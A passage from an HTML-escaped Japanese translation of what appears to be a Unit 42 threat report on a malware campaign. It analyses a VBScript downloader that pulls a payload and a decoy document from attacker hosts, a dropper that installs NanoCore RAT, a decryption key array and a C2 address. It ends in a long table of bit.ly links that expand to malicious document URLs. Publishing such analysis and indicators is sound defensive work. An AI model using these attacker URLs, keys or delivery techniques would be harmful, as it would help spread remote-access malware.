id=\"post-104133-\u57cb\u3081\u8fbc\u307e\u308c\u305f\u30c0\u30a6\u30f3\u30ed\u30fc\u30c0\u30fc\u578b\u30c8\u30ed\u30a4\u306e\u6728\u99ac\"><\/a>\u57cb\u3081\u8fbc\u307e\u308c\u305f\u30c0\u30a6\u30f3\u30ed\u30fc\u30c0\u30fc\u578b\u30c8\u30ed\u30a4\u306e\u6728\u99ac<\/h4>\n<p>\u4ed6\u306e\u30d7\u30ed\u30bb\u30b9\u306e\u30e1\u30e2\u30ea\u30fc \u30b9\u30da\u30fc\u30b9\u5185\u306b\u633f\u5165\u3055\u308c\u5b9f\u884c\u3055\u308c\u305fM\u30da\u30a4\u30ed\u30fc\u30c9(R\u30da\u30a4\u30ed\u30fc\u30c9\u3068\u3068\u3082\u306b\u524d\u8ff0)\u306f\u3001\u30c0\u30a6\u30f3\u30ed\u30fc\u30c0\u30fc\u578b\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u3067\u3059\u3002\u3053\u306e\u7279\u5b9a\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c0\u30fc\u306f\u3001VB2Exe\u30c4\u30fc\u30eb\u3092\u4f7f\u7528\u3057\u3066\u4f5c\u6210\u3055\u308c\u305f\u3068\u601d\u308f\u308c\u307e\u3059\u3002\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u6a5f\u80fd\u3092\u5b9f\u884c\u3059\u308b\u6a5f\u80fd\u30b3\u30fc\u30c9\u304c\u30da\u30a4\u30ed\u30fc\u30c9\u5185\u306b\u57cb\u3081\u8fbc\u307e\u308c\u305fVBScript\u3068\u3057\u3066\u5b58\u5728\u3059\u308b\u305f\u3081\u3067\u3059\u3002\u3053\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001\u30ea\u30bd\u30fc\u30b9\u304b\u3089\u3053\u306eVBScript\u3092\u62bd\u51fa\u3057\u3066\u3001\u5225\u306e\u30ea\u30bd\u30fc\u30b9\u304b\u3089\u62bd\u51fa\u3057\u305f\u30d5\u30a1\u30a4\u30eb\u306b\u4fdd\u5b58\u3057\u307e\u3059\u3002VBScript\u306e\u4fdd\u5b58\u306b\u4f7f\u7528\u3055\u308c\u308b\u30d5\u30a1\u30a4\u30eb\u540d\u306f\u300ckhm.vbs\u300d\u3067\u3001\u6700\u7d42\u7684\u306b\u300cwscript\u300d\u3092\u4f7f\u7528\u3057\u3066\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002VBScript\u306eSHA256\u30cf\u30c3\u30b7\u30e5\u306f\u3001649e3922ec53d5b195ed23aac08148faeb561f47e891b1e6ff60a2a9df4fea17\u3067\u30012\u3064\u306ePowerShell\u30b3\u30de\u30f3\u30c9\u3092\u547c\u3073\u51fa\u3057\u3066\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3001\u5b9f\u884c\u3057\u3066\u3001\u304a\u3068\u308a\u306e\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3001\u958b\u304d\u307e\u3059\u3002\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u4ee5\u4e0b\u306e\u5834\u6240\u304b\u3089\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u3001\u300c%PUBLIC%\\svchost32.exe\u300d\u306b\u4fdd\u5b58\u3055\u308c\u307e\u3059\u3002<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">hxxp:\/\/lokipanelhostingpanel[.]gq\/work\/kh\/1s.exe<\/span><\/p>\n<p>\u304a\u3068\u308a\u306e\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u306f\u3001hxxp:\/\/lokipanelhostingpanel[.]gq\/work\/kh\/1.docx\u304b\u3089\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u3001\u300c%PUBLIC%\\svchost32.docx\u300d\u306b\u4fdd\u5b58\u3055\u308c\u307e\u3059\u3002\u304a\u3068\u308a\u306e\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u304c\u958b\u304b\u308c\u308b\u3068\u3001\u4ee5\u4e0b\u306e\u5185\u5bb9\u304c\u8868\u793a\u3055\u308c\u307e\u3059\u3002\u3053\u308c\u306b\u306f\u3001\u753b\u50cf\u3068\u300cTop civil-military body rejects Nawaz's controversial statement on Mumbai attacks\u300d\u3068\u3044\u3046\u8868\u984c\u306e<a href=\"https:\/\/arynews.tv\/en\/nsc-reject-nawaz-sharif-mumbai-attacks-statement\/\">\u30cb\u30e5\u30fc\u30b9\u8a18\u4e8b<\/a>\u304b\u3089\u30b3\u30d4\u30fc\u3055\u308c\u305f\u30c6\u30ad\u30b9\u30c8\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059(\u4ee5\u4e0b\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3092\u53c2\u7167)\u3002<\/p>\n<p><img  class=\"aligncenter wp-image-86090 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/08\/Gorgon_17.png\" sizes=\"(max-width: 600px) 100vw, 600px\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/08\/Gorgon_17.png 750w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/08\/Gorgon_17-300x269.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2018\/08\/Gorgon_17-370x332.png 370w\" alt=\"Gorgon_17\" width=\"600\" height=\"538\" \/><\/p>\n<p style=\"text-align: center;\"><span style=\"font-size: 10pt;\">\u56f317: \u30de\u30eb\u30a6\u30a7\u30a2\u306b\u3088\u3063\u3066\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u305f\u304a\u3068\u308a\u306e\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8<\/span><\/p>\n<h4><a id=\"post-104133-\u6700\u7d42\u30da\u30a4\u30ed\u30fc\u30c9\"><\/a>\u6700\u7d42\u30da\u30a4\u30ed\u30fc\u30c9<\/h4>\n<p>\u6700\u7d42\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u30c9\u30ed\u30c3\u30d1\u30fc\u578b\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u3067\u3001NanoCore RAT\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u307e\u3059\u3002\u3053\u306e\u30da\u30a4\u30ed\u30fc\u30c9(SHA256: 690fc694b0840dbabb462ae46eb836777420b3354e53a6944a2e169b965b0bec)\u306e\u4f5c\u6210\u8005\u306f\u3001\u3053\u306e\u30c4\u30fc\u30eb\u306e\u30d9\u30fc\u30b9\u3068\u3057\u3066\u3001\u300cSaransh Email System\u300d\u3068\u3044\u3046\u30aa\u30fc\u30d7\u30f3 \u30bd\u30fc\u30b9 \u30c4\u30fc\u30eb\u3092\u4f7f\u7528\u3057\u3066\u3044\u305f\u3068\u601d\u308f\u308c\u307e\u3059\u3002\u3053\u308c\u306f\u3001hxxp:\/\/www.a1vbcode[.]com\/app-4601.asp\u304b\u3089\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u305f\u3068\u8003\u3048\u3089\u308c\u307e\u3059\u3002\u30aa\u30ea\u30b8\u30ca\u30eb\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u540c\u69d8\u3001\u3053\u306e\u30c4\u30fc\u30eb\u3082if\/else\u30b9\u30c6\u30fc\u30c8\u30e1\u30f3\u30c8\u3092\u4f7f\u7528\u3057\u3066Saransh Email System\u30bd\u30fc\u30b9\u306e\u5408\u6cd5\u7684\u306a\u30b3\u30fc\u30c9\u3092\u30b9\u30ad\u30c3\u30d7\u3057\u3066\u3001\u60aa\u610f\u306e\u3042\u308b\u6a5f\u80fd\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002\u30aa\u30ea\u30b8\u30ca\u30eb\u306e\u30c4\u30fc\u30eb\u3068\u540c\u3058\u30e1\u30bd\u30c3\u30c9\u540d\u3092\u4f7f\u7528\u3057\u3001\u547c\u3073\u51fa\u3057\u9806\u5e8f\u3082\u540c\u3058\u3067\u3059\u3002<\/p>\n<ol>\n<li>Form1.Speed<\/li>\n<li>Form1.diomadnfagaghagh<\/li>\n<li>Form1.fjcsERIfjfiojsGHIsdifjksi<\/li>\n<li>Form1.gsgjIDJIGJIGJIGJIFDOSpl<\/li>\n<li>Form1.FJaioefgkaoeK<\/li>\n<\/ol>\n<p>\u3053\u306e\u95a2\u6570\u306e\u30c1\u30a7\u30fc\u30f3\u306b\u3088\u3063\u3066\u3001\u6700\u7d42\u7684\u306b\u300cGSrdofjksrgj\u300d\u3068\u3044\u3046\u540d\u524d\u306e\u30ea\u30bd\u30fc\u30b9\u304c\u30ed\u30fc\u30c9\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u30ea\u30bd\u30fc\u30b9\u3092\u3001\u30c4\u30fc\u30eb\u304c\u6700\u521d\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3068\u540c\u3058\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u304a\u3088\u3073\u30ad\u30fc\u3092\u4f7f\u7528\u3057\u3066\u5fa9\u53f7\u3057\u307e\u3059\u3002<\/p>\n<pre>byte[] array4 = new byte[]\r\n{\r\n    19,\r\n    129,\r\n    43,\r\n    37,\r\n    56,\r\n    65,\r\n    255,\r\n    75,\r\n    111,\r\n    19,\r\n    211,\r\n    120,\r\n    0,\r\n    49,\r\n    126,\r\n    248\r\n};\r\n<\/pre>\n<p>\u5fa9\u53f7\u3055\u308c\u305f\u30da\u30a4\u30ed\u30fc\u30c9\u306eSHA256\u30cf\u30c3\u30b7\u30e5\u306f\u30015e805a88294f6d25d55103d19d13e798e01ad70e6b89e9c58db5d468cc63b3d5\u3067\u3001NanoCore\u30ea\u30e2\u30fc\u30c8\u7ba1\u7406\u30c4\u30fc\u30eb\u306e\u4e9c\u7a2e\u3067\u3059\u3002\u3053\u306eNanoCore\u306e\u4e9c\u7a2e\u306f\u3001TCP\u30dd\u30fc\u30c86666\u3092\u4ecb\u3057\u3001\u305d\u306eC2\u30b5\u30fc\u30d0\u30fc\u3068\u3057\u3066\u4ee5\u4e0b\u306eIP\u30a2\u30c9\u30ec\u30b9\u3068\u901a\u4fe1\u3059\u308b\u3088\u3046\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><span style=\"font-family: 'courier new', courier, monospace;\">115.186.136[.]237<\/span><\/p>\n<h3><a id=\"post-104133-bitly\u77ed\u7e2eurl\u304a\u3088\u3073\u62e1\u5f35\u30c9\u30e1\u30a4\u30f3\"><\/a>Bitly\u77ed\u7e2eURL\u304a\u3088\u3073\u62e1\u5f35\u30c9\u30e1\u30a4\u30f3<\/h3>\n<table>\n<tbody>\n<tr>\n<td><strong>Bitly\u77ed\u7e2eURL<\/strong><\/td>\n<td><strong>\u62e1\u5f35URL<\/strong><\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loaloding<\/td>\n<td>http:\/\/www.asaigoldenrice[.]com\/daq\/doc\/2.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loadingnnsa<\/td>\n<td>http:\/\/onedrivenet[.]xyz\/work\/docnew\/4.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2JmQLW6<\/td>\n<td>http:\/\/stemtopx[.]com\/work\/doc\/13.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2JsruKm<\/td>\n<td>http:\/\/stemtopx[.]com\/work\/doc\/4.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2GUaY49<\/td>\n<td>http:\/\/fast-cargo[.]com\/images\/file\/vb\/VBS\/doc\/3.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loadingnns<\/td>\n<td>http:\/\/onedrivenet[.]xyz\/work\/docnew\/4.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2Im2IOF<\/td>\n<td>http:\/\/panelonetwothree[.]ml\/zico\/doc\/doc8\/zloadings.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/primeload<\/td>\n<td>http:\/\/fast-cargo[.]com\/images\/file\/vb\/VBS\/doc\/1.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/loader2018<\/td>\n<td>http:\/\/asaigoldenrice[.]com\/sim\/new.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2xZ1kO6wdscsac<\/td>\n<td>http:\/\/stemtopx[.]com\/work\/doc\/3.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2M2bIYh<\/td>\n<td>http:\/\/stemtopx[.]com\/work\/doc\/root.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2r9PSIv<\/td>\n<td>http:\/\/stevemike-fireforce[.]info\/work\/doc\/11.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loadiendg<\/td>\n<td>http:\/\/www.0-day[.]us\/img\/doc\/6.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2rpmJKsrdtrdtdfysersgerstrdFCGRDR<\/td>\n<td>http:\/\/stevemikeforce[.]com\/work\/doc\/7.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2Fu4ZSfloading<\/td>\n<td>http:\/\/panelonetwothree[.]ml\/zico\/xe\/snoop\/ocsnoop\/snoop.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2HloaderqVbva<\/td>\n<td>http:\/\/diamondfoxpanel[.]ml\/doc\/1\/11.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loardising<\/td>\n<td>http:\/\/onedrivenet[.]xyz\/work\/docnew\/12.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2JB3KXD<\/td>\n<td>http:\/\/stemtopx[.]com\/work\/doc\/8.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/1_loadingH7TvJa<\/td>\n<td>http:\/\/diamondfoxpanel[.]ml\/doc\/1.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loadijging<\/td>\n<td>http:\/\/onedrivenet[.]xyz\/work\/docnew\/8.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Laodiingplease<\/td>\n<td>http:\/\/onedrivenet[.]xyz\/work\/docnew\/13.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2HvQBirEam832ASADx<\/td>\n<td>http:\/\/stevemike-fireforce[.]info\/work\/dola\/3.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2I5T7b9hgvgvjcVYVY<\/td>\n<td>http:\/\/stevemikeforce[.]com\/work\/doc\/6.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/paymentsuae<\/td>\n<td>http:\/\/brevini-france[.]cf\/xp\/doc\/swift.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Laodingipleasewait<\/td>\n<td>http:\/\/www.asaigoldenrice[.]com\/daq\/doc\/10.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/loadingxxxx<\/td>\n<td>http:\/\/www.asaigoldenrice[.]com\/daq\/doc\/4.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2Gmziko<\/td>\n<td>http:\/\/zupaservices[.]info\/doc\/z.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2sQhJOO<\/td>\n<td>http:\/\/stemtopx[.]com\/work\/doc\/6.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/laodinfokqaw<\/td>\n<td>http:\/\/stevemike-fireforce[.]info\/work\/doc\/5.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/loadrinfing<\/td>\n<td>http:\/\/www.asaigoldenrice[.]com\/daq\/doc\/15.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2JaBgAS<\/td>\n<td>http:\/\/acorn-paper[.]com\/administrator\/help\/7.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2loadingqlOQcM<\/td>\n<td>http:\/\/diamondfoxpanel[.]ml\/doc\/4\/44.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/loardding<\/td>\n<td>http:\/\/fast-cargo[.]com\/images\/file\/vb\/VBS\/doc\/11.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/loidaring<\/td>\n<td>https:\/\/www.0-day[.]us\/img\/doc\/5.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/LoadingPleaseWait<\/td>\n<td>http:\/\/www.asaigoldenrice[.]com\/daq\/doc\/20.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2HJv5Ud<\/td>\n<td>http:\/\/stevemike-fireforce[.]info\/work\/doc\/1.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loading13<\/td>\n<td>http:\/\/fast-cargo[.]com\/images\/file\/vb\/VBS\/doc\/13.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2Lzpjp1<\/td>\n<td>http:\/\/stemtopx[.]com\/work\/doc\/19.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/tt_seafood<\/td>\n<td>http:\/\/acorn-paper[.]com\/administrator\/help\/en-GB\/8.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Lording<\/td>\n<td>http:\/\/fast-cargo[.]com\/images\/file\/vb\/VBS\/doc\/7.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/loadingsmins<\/td>\n<td>http:\/\/www.asaigoldenrice[.]com\/daq\/doc\/1.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2_loadingJwkhJA<\/td>\n<td>http:\/\/diamondfoxpanel[.]ml\/doc\/7.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Laodiingpleasesa<\/td>\n<td>http:\/\/onedrivenet[.]xyz\/work\/docnew\/13.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2tnW5lu<\/td>\n<td>http:\/\/stemtopx[.]com\/work\/newdoc\/1.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/tt_loading<\/td>\n<td>http:\/\/acorn-paper[.]com\/administrator\/components\/com_templates\/4.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2wzkloading<\/td>\n<td>http:\/\/panelonetwothree[.]ml\/zico\/doc\/zloading.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loadingans<\/td>\n<td>http:\/\/onedrivenet[.]xyz\/work\/docnew\/14.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2r9jLcQloading<\/td>\n<td>http:\/\/panelonetwothree[.]ml\/zico\/doc\/zik.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/loadingpleasewairrs<\/td>\n<td>http:\/\/stevemike-fireforce[.]info\/work\/dola\/2.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2arubabKmpgwP<\/td>\n<td>http:\/\/panelonetwothree[.]ml\/iran\/uae\/done\/oc\/uae.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2HAwzmN3290293sadjokwwadjoW<\/td>\n<td>http:\/\/stevemike-fireforce[.]info\/work\/doc\/12.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/loadingasz<\/td>\n<td>http:\/\/0-day[.]us\/img\/doc\/10.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/ntissa2vFamys<\/td>\n<td>http:\/\/acorn-paper[.]com\/images\/locations\/thumbnails\/oc\/m.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2IgzmRxEmasidE9kEjidlE<\/td>\n<td>http:\/\/panelonetwothree[.]ga\/work\/doc\/3.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2JqmuWp<\/td>\n<td>http:\/\/stemtopx[.]com\/work\/doc\/16.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/load242HmFqZ6<\/td>\n<td>http:\/\/panelonetwothree[.]ml\/simon\/exp\/oc\/mm.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2L17QGqloading<\/td>\n<td>http:\/\/panelonetwothree[.]ml\/zico\/doc\/doc8\/zxloading.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2MarX5t<\/td>\n<td>http:\/\/stemtopx[.]com\/work\/doc\/9.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loadingnix<\/td>\n<td>http:\/\/www.asaigoldenrice[.]com\/daq\/doc\/3.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2HyVGGy_loading<\/td>\n<td>http:\/\/panelonetwothree[.]ml\/iran\/uae\/done\/oc1\/uae.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2H8euros<\/td>\n<td>http:\/\/acorn-paper[.]com\/administrator\/components\/com_templates\/views\/2.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2I2mUBFstthdhtrhdtyftfyj<\/td>\n<td>http:\/\/stevemikeforce[.]com\/work\/doc\/8.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loininding<\/td>\n<td>http:\/\/www.0-day[.]us\/img\/doc\/8.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2F02ZRq<\/td>\n<td>http:\/\/stevemike-fireforce[.]info\/work\/doc\/2.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loadingpleasewait<\/td>\n<td>http:\/\/onedrivenet[.]xyz\/work\/docnew\/19.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2jE36KjhvjhgkHJHKLHGFHJ<\/td>\n<td>http:\/\/stevemikeforce[.]com\/work\/doc\/3.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Waitpleasewait<\/td>\n<td>http:\/\/stevemike-fireforce[.]info\/work\/doc\/8.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loiading<\/td>\n<td>http:\/\/fast-cargo[.]com\/images\/file\/newvbs\/doc\/1.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loadingplasewaitsm<\/td>\n<td>http:\/\/stevemike-fireforce[.]info\/work\/doc\/3.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2jCTHCNasiudhasdASdy7656basdu<\/td>\n<td>http:\/\/stevemikeforce[.]com\/work\/doc\/2.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/loadingpleaswaitrr<\/td>\n<td>http:\/\/stevemike-fireforce[.]info\/work\/doc\/4.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loadingnsi<\/td>\n<td>http:\/\/onedrivenet[.]xyz\/work\/docnew\/2.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2JRUNKh<\/td>\n<td>http:\/\/www.stemtopx[.]com\/work\/newdoc\/3.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2Hload25YdU19<\/td>\n<td>http:\/\/panelonetwothree[.]ml\/simon\/exp\/oc\/25\/m25.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2lording<\/td>\n<td>http:\/\/fast-cargo[.]com\/images\/file\/vb\/VBS\/doc\/8.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2M9lLL6<\/td>\n<td>http:\/\/stemtopx[.]com\/work\/doc\/15.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loggeding<\/td>\n<td>http:\/\/fast-cargo[.]com\/images\/file\/newvbs\/doc\/4.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loadingwaitplez<\/td>\n<td>http:\/\/stevemike-fireforce[.]info\/work\/doc\/10.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/ASDj23234j4oDj3234Sdmk<\/td>\n<td>http:\/\/stevemike-fireforce[.]info\/work\/doc\/5.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2JloadingspWgLs2<\/td>\n<td>http:\/\/acorn-paper[.]com\/components\/com_content\/models\/oc\/s.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/Loadingpleasewaitnn<\/td>\n<td>http:\/\/stevemike-fireforce[.]info\/work\/dola\/4.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2sPe3wZrdtrdytd<\/td>\n<td>http:\/\/stemtopx[.]com\/work\/doc\/2.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/LAdooing<\/td>\n<td>http:\/\/onedrivenet[.]xyz\/work\/docnew\/6.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/LoadIng<\/td>\n<td>http:\/\/guelphupholstery[.]com\/images\/yupsia\/doc\/62.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2JnMVQz<\/td>\n<td>http:\/\/stemtopx[.]com\/work\/doc\/14.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/DocumentIsLoadingPleasewait<\/td>\n<td>http:\/\/stemtopx[.]com\/work\/i\/2.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2HVD1Bh<\/td>\n<td>http:\/\/fast-cargo[.]com\/images\/file\/vb\/VBS\/doc\/4.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2uoqexc<\/td>\n<td>http:\/\/zupaservices[.]info\/doc\/1.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2vXgnqdASdj2929iqwSdu9iw9i<\/td>\n<td>http:\/\/stevemike-fireforce[.]info\/work\/doc\/13.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/4_loadingEwHlnA<\/td>\n<td>http:\/\/diamondfoxpanel[.]ml\/doc\/4.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/lLoadingl9<\/td>\n<td>http:\/\/fast-cargo[.]com\/images\/file\/vb\/VBS\/doc\/9.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/LlLoadinG<\/td>\n<td>https:\/\/www.0-day[.]us\/img\/doc\/2.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2kTPwmFdrwfdtsfdfyr<\/td>\n<td>http:\/\/stemtopx[.]com\/work\/doc\/1.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2G34tww<\/td>\n<td>http:\/\/fast-cargo[.]com\/old\/images\/file\/vb\/VBS\/smon\/doc\/testa.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2HvQBir<\/td>\n<td>http:\/\/stevemike-fireforce[.]info\/work\/dola\/3.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/golden_uae<\/td>\n<td>http:\/\/fast-cargo[.]com\/old\/images\/file\/vb\/VBS\/smon\/doc\/xchange.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/pele2HROHp1<\/td>\n<td>http:\/\/acorn-paper[.]com\/images\/locations\/thumbnails\/z\/oc\/z.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2rlqLDBMSloading<\/td>\n<td>http:\/\/panelonetwothree[.]ml\/iran\/uae\/done\/oc2\/uae.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2JDUVMC<\/td>\n<td>http:\/\/stemtopx[.]com\/work\/doc\/11.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2K1GYVgtyfctftfTFTYFUFtufutfu<\/td>\n<td>http:\/\/stevemikeforce[.]com\/work\/doc\/11.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2Jr4dby<\/td>\n<td>http:\/\/stemtopx[.]com\/work\/doc\/18.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/2M9I8z4<\/td>\n<td>http:\/\/stemtopx[.]com\/work\/newdoc\/2.doc<\/td>\n<\/tr>\n<tr>\n<td>http:\/\/bit[.]ly\/ASD8239ASdmkWi38AS<\/td>\n<td>http:\/\/stevemike-fireforce[.]info\/work\/dola\/4.doc<\/td>\n<\/tr>\n